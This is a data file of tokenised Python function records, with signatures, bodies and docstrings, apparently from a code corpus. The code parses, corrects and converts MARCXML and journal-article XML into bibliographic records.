{"signature": "def _record_sort_by_indicators(record):", "body": "for tag, fields in list(record.items()):<EOL><INDENT>record[tag] = _fields_sort_by_indicators(fields)<EOL><DEDENT>", "docstring": "Sort the fields inside the record by indicators.", "id": "f7891:m50"}
{"signature": "def _fields_sort_by_indicators(fields):", "body": "field_dict = {}<EOL>field_positions_global = []<EOL>for field in fields:<EOL><INDENT>field_dict.setdefault(field[<NUM_LIT:1>:<NUM_LIT:3>], []).append(field)<EOL>field_positions_global.append(field[<NUM_LIT:4>])<EOL><DEDENT>indicators = list(field_dict.keys())<EOL>indicators.sort()<EOL>field_list = []<EOL>for indicator in indicators:<EOL><INDENT>for field in field_dict[indicator]:<EOL><INDENT>field_list.append(field[:<NUM_LIT:4>] + (field_positions_global.pop(<NUM_LIT:0>),))<EOL><DEDENT><DEDENT>return field_list<EOL>", "docstring": "Sort a set of fields by their indicators.\n\n    Return a sorted list with correct global field positions.", "id": "f7891:m51"}
{"signature": "def _create_record_lxml(marcxml,<EOL>verbose=CFG_BIBRECORD_DEFAULT_VERBOSE_LEVEL,<EOL>correct=CFG_BIBRECORD_DEFAULT_CORRECT,<EOL>keep_singletons=CFG_BIBRECORD_KEEP_SINGLETONS):", "body": "parser = etree.XMLParser(dtd_validation=correct,<EOL>recover=(verbose <= <NUM_LIT:3>))<EOL>if correct:<EOL><INDENT>marcxml = '<STR_LIT>''<STR_LIT>' % (marcxml,)<EOL><DEDENT>try:<EOL><INDENT>tree = etree.parse(StringIO(marcxml), parser)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise InvenioBibRecordParserError(str(e))<EOL><DEDENT>record = {}<EOL>field_position_global = <NUM_LIT:0><EOL>controlfield_iterator = tree.iter(tag='<STR_LIT>')<EOL>for controlfield in controlfield_iterator:<EOL><INDENT>tag = controlfield.attrib.get('<STR_LIT>', '<STR_LIT:!>').encode(\"<STR_LIT>\")<EOL>ind1 = '<STR_LIT:U+0020>'<EOL>ind2 = '<STR_LIT:U+0020>'<EOL>text = controlfield.text<EOL>if text is None:<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>text = text.encode(\"<STR_LIT>\")<EOL><DEDENT>subfields = []<EOL>if text or keep_singletons:<EOL><INDENT>field_position_global += <NUM_LIT:1><EOL>record.setdefault(tag, []).append((subfields, ind1, ind2, text,<EOL>field_position_global))<EOL><DEDENT><DEDENT>datafield_iterator = tree.iter(tag='<STR_LIT>')<EOL>for datafield in datafield_iterator:<EOL><INDENT>tag = datafield.attrib.get('<STR_LIT>', '<STR_LIT:!>').encode(\"<STR_LIT>\")<EOL>ind1 = datafield.attrib.get('<STR_LIT>', '<STR_LIT:!>').encode(\"<STR_LIT>\")<EOL>ind2 = datafield.attrib.get('<STR_LIT>', '<STR_LIT:!>').encode(\"<STR_LIT>\")<EOL>if ind1 in ('<STR_LIT>', '<STR_LIT:_>'):<EOL><INDENT>ind1 = '<STR_LIT:U+0020>'<EOL><DEDENT>if ind2 in ('<STR_LIT>', '<STR_LIT:_>'):<EOL><INDENT>ind2 = '<STR_LIT:U+0020>'<EOL><DEDENT>subfields = []<EOL>subfield_iterator = datafield.iter(tag='<STR_LIT>')<EOL>for subfield in subfield_iterator:<EOL><INDENT>code = subfield.attrib.get('<STR_LIT:code>', '<STR_LIT:!>').encode(\"<STR_LIT>\")<EOL>text = subfield.text<EOL>if text is None:<EOL><INDENT>text = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>text = text.encode(\"<STR_LIT>\")<EOL><DEDENT>if text or keep_singletons:<EOL><INDENT>subfields.append((code, text))<EOL><DEDENT><DEDENT>if subfields or keep_singletons:<EOL><INDENT>text = '<STR_LIT>'<EOL>field_position_global += <NUM_LIT:1><EOL>record.setdefault(tag, []).append((subfields, ind1, ind2, text,<EOL>field_position_global))<EOL><DEDENT><DEDENT>return record<EOL>", "docstring": "Create a record object using the LXML parser.\n\nIf correct == 1, then perform DTD validation\nIf correct == 0, then do not perform DTD validation\n\nIf verbose == 0, the parser will not give warnings.\nIf 1 <= verbose <= 3, the parser will not give errors, but will warn\n    the user about possible mistakes (implement me!)\nIf verbose > 3 then the parser will be strict and will stop in case of\n    well-formedness errors or DTD errors.", "id": "f7891:m52"}
{"signature": "def _concat(alist):", "body": "return [element for single_list in alist for element in single_list]<EOL>", "docstring": "Concatenate a list of lists.", "id": "f7891:m53"}
{"signature": "def _subfield_xml_output(subfield):", "body": "return '<STR_LIT>' %(subfield[<NUM_LIT:0>], MathMLParser.html_to_text(subfield[<NUM_LIT:1>]))<EOL>", "docstring": "Generate the XML for a subfield object and return it as a string.", "id": "f7891:m54"}
{"signature": "def _order_by_ord(field1, field2):", "body": "return cmp(field1[<NUM_LIT:1>][<NUM_LIT:4>], field2[<NUM_LIT:1>][<NUM_LIT:4>])<EOL>", "docstring": "Function used to order the fields according to their ord value.", "id": "f7891:m55"}
{"signature": "def _order_by_tags(field1, field2):", "body": "return cmp(field1[<NUM_LIT:0>], field2[<NUM_LIT:0>])<EOL>", "docstring": "Function used to order the fields according to the tags.", "id": "f7891:m56"}
{"signature": "def _get_children_by_tag_name(node, name):", "body": "try:<EOL><INDENT>return [child for child in node.childNodes if child.nodeName == name]<EOL><DEDENT>except TypeError:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Retrieve all children from node 'node' with name 'name'.", "id": "f7891:m57"}
{"signature": "def _get_children_as_string(node):", "body": "out = []<EOL>if node:<EOL><INDENT>for child in node:<EOL><INDENT>if child.nodeType == child.TEXT_NODE:<EOL><INDENT>out.append(child.data)<EOL><DEDENT>else:<EOL><INDENT>out.append(_get_children_as_string(child.childNodes))<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'.join(out)<EOL>", "docstring": "Iterate through all the children of a node.\n\n    Returns one string containing the values from all the text-nodes\n    recursively.", "id": "f7891:m58"}
{"signature": "def _wash_indicators(*indicators):", "body": "return [indicator in ('<STR_LIT>', '<STR_LIT:_>') and '<STR_LIT:U+0020>' or indicator<EOL>for indicator in indicators]<EOL>", "docstring": "Wash the values of the indicators.\n\nAn empty string or an underscore is replaced by a blank space.\n\n:param indicators: a series of indicators to be washed\n:return: a list of washed indicators", "id": "f7891:m59"}
{"signature": "def _correct_record(record):", "body": "errors = []<EOL>for tag in list(record.keys()):<EOL><INDENT>upper_bound = '<STR_LIT>'<EOL>n = len(tag)<EOL>if n > <NUM_LIT:3>:<EOL><INDENT>i = n - <NUM_LIT:3><EOL>while i > <NUM_LIT:0>:<EOL><INDENT>upper_bound = '<STR_LIT>' % ('<STR_LIT:0>', upper_bound)<EOL>i -= <NUM_LIT:1><EOL><DEDENT><DEDENT>if tag == '<STR_LIT:!>':<EOL><INDENT>errors.append((<NUM_LIT:1>, '<STR_LIT>' +<EOL>str([f[<NUM_LIT:4>] for f in record[tag]]) + '<STR_LIT:)>'))<EOL>record['<STR_LIT>'] = record.pop(tag)<EOL>tag = '<STR_LIT>'<EOL><DEDENT>elif not ('<STR_LIT>' <= tag <= upper_bound or<EOL>tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>errors.append(<NUM_LIT:2>)<EOL>record['<STR_LIT>'] = record.pop(tag)<EOL>tag = '<STR_LIT>'<EOL><DEDENT>fields = []<EOL>for field in record[tag]:<EOL><INDENT>if field[<NUM_LIT:0>] == [] and field[<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>errors.append((<NUM_LIT:8>, '<STR_LIT>' + str(field[<NUM_LIT:4>]) + '<STR_LIT:)>'))<EOL><DEDENT>subfields = []<EOL>for subfield in field[<NUM_LIT:0>]:<EOL><INDENT>if subfield[<NUM_LIT:0>] == '<STR_LIT:!>':<EOL><INDENT>errors.append((<NUM_LIT:3>, '<STR_LIT>' + str(field[<NUM_LIT:4>]) + '<STR_LIT:)>'))<EOL>newsub = ('<STR_LIT>', subfield[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>newsub = subfield<EOL><DEDENT>subfields.append(newsub)<EOL><DEDENT>if field[<NUM_LIT:1>] == '<STR_LIT:!>':<EOL><INDENT>errors.append((<NUM_LIT:4>, '<STR_LIT>' + str(field[<NUM_LIT:4>]) + '<STR_LIT:)>'))<EOL>ind1 = \"<STR_LIT:U+0020>\"<EOL><DEDENT>else:<EOL><INDENT>ind1 = field[<NUM_LIT:1>]<EOL><DEDENT>if field[<NUM_LIT:2>] == '<STR_LIT:!>':<EOL><INDENT>errors.append((<NUM_LIT:5>, '<STR_LIT>' + str(field[<NUM_LIT:4>]) + '<STR_LIT:)>'))<EOL>ind2 = \"<STR_LIT:U+0020>\"<EOL><DEDENT>else:<EOL><INDENT>ind2 = field[<NUM_LIT:2>]<EOL><DEDENT>fields.append((subfields, ind1, ind2, field[<NUM_LIT:3>], field[<NUM_LIT:4>]))<EOL><DEDENT>record[tag] = fields<EOL><DEDENT>return errors<EOL>", "docstring": "Check and correct the structure of the record.\n\n:param record: the record data structure\n:return: a list of errors found", "id": "f7891:m60"}
{"signature": "def _warning(code):", "body": "if isinstance(code, str):<EOL><INDENT>return code<EOL><DEDENT>message = '<STR_LIT>'<EOL>if isinstance(code, tuple):<EOL><INDENT>if isinstance(code[<NUM_LIT:0>], str):<EOL><INDENT>message = code[<NUM_LIT:1>]<EOL>code = code[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return CFG_BIBRECORD_WARNING_MSGS.get(code, '<STR_LIT>') + message<EOL>", "docstring": "Return a warning message of code 'code'.\n\nIf code = (cd, str) it returns the warning message of code 'cd' and appends\nstr at the end", "id": "f7891:m61"}
{"signature": "def _warnings(alist):", "body": "return [_warning(element) for element in alist]<EOL>", "docstring": "Apply the function _warning() to every element in alist.", "id": "f7891:m62"}
{"signature": "def _compare_lists(list1, list2, custom_cmp):", "body": "if len(list1) != len(list2):<EOL><INDENT>return False<EOL><DEDENT>for element1, element2 in zip(list1, list2):<EOL><INDENT>if not custom_cmp(element1, element2):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Compare twolists using given comparing function.\n\n    :param list1: first list to compare\n    :param list2: second list to compare\n    :param custom_cmp: a function taking two arguments (element of\n        list 1, element of list 2) and\n    :return: True or False depending if the values are the same", "id": "f7891:m63"}
{"signature": "def __init__(self, path=None):", "body": "self.path = path<EOL>self.records = []<EOL>self.deleted_records = []<EOL>self.logger = create_logger(\"<STR_LIT>\")<EOL>", "docstring": "Given a path to a MARCXML file, create an object to parse & convert it.\n\n        :param path: the actual path of a Invenio style MARCXML.", "id": "f7891:c2:m0"}
{"signature": "def parse(self, path_to_xml=None):", "body": "if not path_to_xml:<EOL><INDENT>if not self.path:<EOL><INDENT>self.logger.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>path_to_xml = self.path<EOL><DEDENT>root = self._clean_xml(path_to_xml)<EOL>if root.tag.lower() == '<STR_LIT>':<EOL><INDENT>tree = ET.ElementTree(root)<EOL>self.records = element_tree_collection_to_records(tree)<EOL><DEDENT>elif root.tag.lower() == '<STR_LIT>':<EOL><INDENT>new_root = ET.Element('<STR_LIT>')<EOL>new_root.append(root)<EOL>tree = ET.ElementTree(new_root)<EOL>self.records = element_tree_collection_to_records(tree)<EOL><DEDENT>else:<EOL><INDENT>header_subs = get_request_subfields(root)<EOL>records = root.find('<STR_LIT>')<EOL>if records is None:<EOL><INDENT>records = root.find('<STR_LIT>')<EOL><DEDENT>if records is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>tree = ET.ElementTree(records)<EOL>for record, is_deleted in element_tree_oai_records(tree, header_subs):<EOL><INDENT>if is_deleted:<EOL><INDENT>self.deleted_records.append(<EOL>self.create_deleted_record(record)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.records.append(record)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parse an XML document and clean any namespaces.", "id": "f7891:c2:m1"}
{"signature": "def _clean_xml(self, path_to_xml):", "body": "try:<EOL><INDENT>if os.path.isfile(path_to_xml):<EOL><INDENT>tree = ET.parse(path_to_xml)<EOL>root = tree.getroot()<EOL><DEDENT>else:<EOL><INDENT>root = ET.fromstring(path_to_xml)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>self.logger.error(\"<STR_LIT>\")<EOL>raise e<EOL><DEDENT>strip_xml_namespace(root)<EOL>return root<EOL>", "docstring": "Clean MARCXML harvested from OAI.\n\n        Allows the xml to be used with BibUpload or BibRecord.\n\n        :param xml: either XML as a string or path to an XML file\n\n        :return: ElementTree of clean data", "id": "f7891:c2:m2"}
{"signature": "def create_deleted_record(self, record):", "body": "identifier = record_get_field_value(record,<EOL>tag=\"<STR_LIT>\",<EOL>code=\"<STR_LIT:a>\")<EOL>recid = identifier.split(\"<STR_LIT::>\")[-<NUM_LIT:1>]<EOL>try:<EOL><INDENT>source = identifier.split(\"<STR_LIT::>\")[<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>source = \"<STR_LIT>\"<EOL><DEDENT>record_add_field(record, \"<STR_LIT>\",<EOL>subfields=[(\"<STR_LIT>\", source), (\"<STR_LIT:a>\", recid)])<EOL>record_add_field(record, \"<STR_LIT>\",<EOL>subfields=[(\"<STR_LIT:c>\", \"<STR_LIT>\")])<EOL>return record<EOL>", "docstring": "Generate the record deletion if deleted form OAI-PMH.", "id": "f7891:c2:m3"}
{"signature": "def get_records(self):", "body": "return self.records<EOL>", "docstring": "Return all records found.", "id": "f7891:c2:m4"}
{"signature": "def get_record(self, fileName, ref_extract_callback=None):", "body": "self.document = parse(fileName)<EOL>article_type = self._get_article_type()<EOL>if article_type not in ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>rec = create_record()<EOL>title, subtitle, notes = self._get_title()<EOL>subfields = []<EOL>if subtitle:<EOL><INDENT>subfields.append(('<STR_LIT:b>', subtitle))<EOL><DEDENT>if title:<EOL><INDENT>subfields.append(('<STR_LIT:a>', title))<EOL>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>subjects = self.document.getElementsByTagName('<STR_LIT>')<EOL>subjects = map(xml_to_text, subjects)<EOL>for note_id in notes:<EOL><INDENT>note = self._get_note(note_id)<EOL>if note:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', note)])<EOL><DEDENT><DEDENT>for subject in subjects:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', ind2='<STR_LIT>',<EOL>subfields=[('<STR_LIT:2>', '<STR_LIT>'),<EOL>('<STR_LIT:a>', subject)])<EOL><DEDENT>keywords = self._get_keywords()<EOL>for keyword in keywords:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', subfields=[('<STR_LIT:a>', keyword),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>journal, volume, issue, year, date, doi, page,fpage, lpage = self._get_publication_information()<EOL>astronomy_journals = ['<STR_LIT>', '<STR_LIT>']<EOL>if journal in astronomy_journals:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', ind2='<STR_LIT>',<EOL>subfields=[('<STR_LIT:2>', '<STR_LIT>'),<EOL>('<STR_LIT:a>', '<STR_LIT>')])<EOL><DEDENT>if date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:c>', date),<EOL>('<STR_LIT:t>', '<STR_LIT>')])<EOL><DEDENT>if doi:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT>', subfields=[('<STR_LIT:a>', doi),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT>abstract = self._get_abstract()<EOL>abstract = self._format_abstract(abstract)<EOL>if abstract:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', abstract),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>license, license_type, license_url = self._get_license()<EOL>subfields = []<EOL>if license:<EOL><INDENT>subfields.append(('<STR_LIT:a>', license))<EOL><DEDENT>if license_url:<EOL><INDENT>subfields.append(('<STR_LIT:u>', license_url))<EOL><DEDENT>if subfields:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>if license_type == '<STR_LIT>':<EOL><INDENT>self._attach_fulltext(rec, doi)<EOL><DEDENT>number_of_pages = self._get_page_count()<EOL>if number_of_pages:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', number_of_pages)])<EOL><DEDENT>c_holder, c_year, c_statement = self._get_copyright()<EOL>if c_holder and c_year:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:d>', c_holder),<EOL>('<STR_LIT:g>', c_year),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>elif c_statement:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:f>', c_statement),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>subfields = []<EOL>if journal:<EOL><INDENT>subfields.append(('<STR_LIT:p>', journal))<EOL><DEDENT>if issue:<EOL><INDENT>subfields.append(('<STR_LIT:n>', issue))<EOL><DEDENT>if volume:<EOL><INDENT>subfields.append(('<STR_LIT:v>', volume))<EOL><DEDENT>if fpage and lpage:<EOL><INDENT>subfields.append(('<STR_LIT:c>', '<STR_LIT>' % (fpage,<EOL>lpage)))<EOL><DEDENT>elif page:<EOL><INDENT>subfields.append(('<STR_LIT:c>', page))<EOL><DEDENT>if year:<EOL><INDENT>subfields.append(('<STR_LIT:y>', year))<EOL><DEDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>conference = '<STR_LIT>'<EOL>for tag in self.document.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>conference = xml_to_text(tag)<EOL><DEDENT>if conference:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', conference)])<EOL><DEDENT>self._add_references(rec, ref_extract_callback)<EOL>self._add_authors(rec)<EOL>try:<EOL><INDENT>return record_xml_output(rec)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>message = \"<STR_LIT>\" + doi<EOL>sys.stderr.write(message)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Gets the Marc xml of the files in xaml_jp directory\n\n:param fileName: the name of the file to parse.\n:type fileName: string\n:param refextract_callback: callback to be used to extract\n                            unstructured references. It should\n                            return a marcxml formated string\n                            of the reference.\n:type refextract_callback: callable\n\n:returns: a string with the marc xml version of the file.", "id": "f7892:c0:m6"}
{"signature": "def get_record_rich(self, filename, ref_extract_callback=None):", "body": "self.document = parse(filename)<EOL>rec = create_record()<EOL>articles = self.document.getElementsByTagName('<STR_LIT>')<EOL>for article in articles:<EOL><INDENT>article_type = article.getAttribute('<STR_LIT>')<EOL>if not article_type == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>doi = get_value_in_tag(self.document, '<STR_LIT>')<EOL>date = '<STR_LIT>'<EOL>for tag in self.document.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>year = get_value_in_tag(tag, '<STR_LIT>')<EOL>month = get_value_in_tag(tag, '<STR_LIT>').zfill(<NUM_LIT:2>)<EOL>day = get_value_in_tag(tag, '<STR_LIT>').zfill(<NUM_LIT:2>)<EOL>date = \"<STR_LIT>\" % (year, month, day)<EOL><DEDENT>if not date:<EOL><INDENT>for tag in self.document.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>year = get_value_in_tag(tag, '<STR_LIT>')<EOL>month = get_value_in_tag(tag, '<STR_LIT>').zfill(<NUM_LIT:2>)<EOL>day = get_value_in_tag(tag, '<STR_LIT>').zfill(<NUM_LIT:2>)<EOL>date = \"<STR_LIT>\" % (year, month, day)<EOL><DEDENT><DEDENT>first_page = get_value_in_tag(article, '<STR_LIT>')<EOL>last_page = get_value_in_tag(article, '<STR_LIT>')<EOL>subjects = article.getElementsByTagName('<STR_LIT>')<EOL>subjects = map(xml_to_text, subjects)<EOL>subject = '<STR_LIT:U+002CU+0020>'.join(subjects)<EOL>copyright_statement = get_value_in_tag(article, '<STR_LIT>')<EOL><DEDENT>journal = get_value_in_tag(self.document, '<STR_LIT>')<EOL>journal, volume = fix_journal_name(journal, self.journal_mappings)<EOL>issues = self.document.getElementsByTagName('<STR_LIT>')<EOL>for issue in issues:<EOL><INDENT>volume += get_value_in_tag(issue, '<STR_LIT>')<EOL>year = get_value_in_tag(issue, '<STR_LIT>')<EOL><DEDENT>title = get_value_in_tag(self.document, '<STR_LIT>')<EOL>authors = self.document.getElementsByTagName('<STR_LIT>')<EOL>affiliations = self.document.getElementsByTagName('<STR_LIT>')<EOL>def affiliation_pair(a):<EOL><INDENT>return a.getAttribute('<STR_LIT>'), get_value_in_tag(<EOL>a, '<STR_LIT>'<EOL>)<EOL><DEDENT>affiliations = map(affiliation_pair, affiliations)<EOL>affiliations = dict(affiliations)<EOL>def author_pair(a):<EOL><INDENT>surname = get_value_in_tag(a, '<STR_LIT>')<EOL>first_name = get_value_in_tag(a, '<STR_LIT>')<EOL>middle_name = get_value_in_tag(a, '<STR_LIT>')<EOL>if middle_name:<EOL><INDENT>name = '<STR_LIT>' % (surname, first_name, middle_name)<EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT>' % (surname, first_name)<EOL><DEDENT>try:<EOL><INDENT>affid = a.getElementsByTagName(<EOL>'<STR_LIT>'<EOL>)[<NUM_LIT:0>].getAttribute('<STR_LIT>')<EOL>affiliation = affiliations[affid]<EOL><DEDENT>except IndexError:<EOL><INDENT>affiliation = '<STR_LIT>'<EOL><DEDENT>except KeyError:<EOL><INDENT>affiliation = '<STR_LIT>'<EOL><DEDENT>return name, affiliation<EOL><DEDENT>authors = map(author_pair, authors)<EOL>abstract = get_value_in_tag(self.document, '<STR_LIT>')<EOL>references = self.document.getElementsByTagName('<STR_LIT>')<EOL>for reference in references:<EOL><INDENT>subfields = []<EOL>label = reference.getAttribute('<STR_LIT:N>')<EOL>if label:<EOL><INDENT>subfields.append(('<STR_LIT:o>', label))<EOL><DEDENT>bibliosets = reference.getElementsByTagName('<STR_LIT>')<EOL>for tag in bibliosets:<EOL><INDENT>ref_year = get_value_in_tag(tag, '<STR_LIT>')<EOL>ref_journal = get_value_in_tag(tag, '<STR_LIT>')<EOL>ref_journal, ref_volume = fix_journal_name(<EOL>ref_journal, self.journal_mappings<EOL>)<EOL>ref_volume += get_value_in_tag(tag, '<STR_LIT>')<EOL>ref_page = get_value_in_tag(tag, '<STR_LIT>')<EOL>if ref_year:<EOL><INDENT>subfields.append(('<STR_LIT:y>', ref_year))<EOL><DEDENT>if ref_journal and ref_volume and ref_page:<EOL><INDENT>subfields.append(('<STR_LIT:s>', '<STR_LIT>' % (ref_journal,<EOL>ref_volume,<EOL>ref_page)))<EOL><DEDENT>reference.removeChild(tag)<EOL><DEDENT>text_ref = xml_to_text(reference)<EOL>if ref_extract_callback:<EOL><INDENT>ref_xml = ref_extract_callback(text_ref)<EOL>dom = parseString(ref_xml)<EOL>fields = dom.getElementsByTagName(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>fields = fields.getElementsByTagName(\"<STR_LIT>\")<EOL>if fields:<EOL><INDENT>subfields.append(('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>for field in fields:<EOL><INDENT>data = field.firstChild.data<EOL>code = field.getAttribute(\"<STR_LIT:code>\")<EOL>if code == '<STR_LIT:m>' and bibliosets:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>subfields.append((code, data))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>subfields.append(('<STR_LIT:m>', text_ref))<EOL><DEDENT>if subfields:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:C>', ind2='<STR_LIT:5>',<EOL>subfields=subfields)<EOL><DEDENT><DEDENT>if title:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', title)])<EOL><DEDENT>if date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:c>', date),<EOL>('<STR_LIT:t>', '<STR_LIT>')])<EOL><DEDENT>if doi:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT>', subfields=[('<STR_LIT:a>', doi),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT>if abstract:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', abstract),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>first_author = True<EOL>for author in authors:<EOL><INDENT>if first_author:<EOL><INDENT>subfields = [('<STR_LIT:a>', author[<NUM_LIT:0>])]<EOL>if author[<NUM_LIT:1>]:<EOL><INDENT>subfields.append(('<STR_LIT:v>', author[<NUM_LIT:1>]))<EOL><DEDENT>record_add_field(rec, '<STR_LIT:100>', subfields=subfields)<EOL>first_author = False<EOL><DEDENT>else:<EOL><INDENT>subfields = [('<STR_LIT:a>', author[<NUM_LIT:0>])]<EOL>if author[<NUM_LIT:1>]:<EOL><INDENT>subfields.append(('<STR_LIT:v>', author[<NUM_LIT:1>]))<EOL><DEDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT><DEDENT>subfields = []<EOL>if journal and volume and first_page:<EOL><INDENT>subfields.append(('<STR_LIT:s>', \"<STR_LIT>\" % (journal,<EOL>volume,<EOL>first_page)))<EOL><DEDENT>if first_page and last_page:<EOL><INDENT>try:<EOL><INDENT>nuber_of_pages = int(last_page) - int(first_page)<EOL>record_add_field(rec, '<STR_LIT>',<EOL>subfields=[('<STR_LIT:a>', str(nuber_of_pages))])<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>subfields.append(('<STR_LIT:c>', '<STR_LIT>' % (first_page,<EOL>last_page)))<EOL><DEDENT>if year:<EOL><INDENT>subfields.append(('<STR_LIT:y>', year))<EOL><DEDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>if copyright_statement:<EOL><INDENT>record_add_field(rec, '<STR_LIT>',<EOL>subfields=[('<STR_LIT:f>', copyright_statement)])<EOL><DEDENT>if subject:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', ind2='<STR_LIT>',<EOL>subfields=[('<STR_LIT:2>', '<STR_LIT>'),<EOL>('<STR_LIT:a>', subject)])<EOL><DEDENT>try:<EOL><INDENT>return record_xml_output(rec)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>message = \"<STR_LIT>\" + doi<EOL>sys.stderr.write(message)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Gets the Marc xml of the files in xaml_rich directory\n\n:param fileName: the name of the file to parse.\n:type fileName: string\n\n:returns: a string with the marc xml version of the file.", "id": "f7892:c0:m7"}
{"signature": "def _get_reference(self, ref):", "body": "label = get_value_in_tag(ref, '<STR_LIT:label>')<EOL>label = re.sub('<STR_LIT>', '<STR_LIT>', label)<EOL>for innerref in ref.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>ref_type = innerref.getAttribute('<STR_LIT>')<EOL>institution = get_value_in_tag(innerref, '<STR_LIT>')<EOL>report_no = '<STR_LIT>'<EOL>for tag in innerref.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>if tag.getAttribute('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>if tag.hasChildNodes():<EOL><INDENT>report_no = get_all_text(tag)<EOL><DEDENT><DEDENT><DEDENT>doi = '<STR_LIT>'<EOL>for tag in innerref.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>if tag.getAttribute('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>doi = xml_to_text(tag)<EOL><DEDENT><DEDENT>collaboration = get_value_in_tag(innerref, '<STR_LIT>')<EOL>authors = []<EOL>person_groups = innerref.getElementsByTagName('<STR_LIT>')<EOL>for author_group in person_groups:<EOL><INDENT>if author_group.getAttribute('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>for author in author_group.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>if author.hasChildNodes():<EOL><INDENT>authors.append(get_all_text(author))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>editors = []<EOL>for editor_group in person_groups:<EOL><INDENT>if editor_group.getAttribute('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>for editor in editor_group.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>if editor.hasChildNodes():<EOL><INDENT>editors.append(get_all_text(editor))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>journal = get_value_in_tag(innerref, '<STR_LIT:source>')<EOL>journal, volume = fix_journal_name(journal, self.journal_mappings)<EOL>volume += get_value_in_tag(innerref, '<STR_LIT>')<EOL>if journal == '<STR_LIT>' or journal == '<STR_LIT>':<EOL><INDENT>issue = get_value_in_tag(innerref, '<STR_LIT>')<EOL>volume = volume[<NUM_LIT:2>:] + issue<EOL>journal = '<STR_LIT>'<EOL><DEDENT>page = get_value_in_tag(innerref, '<STR_LIT>')<EOL>year = get_value_in_tag(innerref, '<STR_LIT>')<EOL>external_link = get_value_in_tag(innerref, 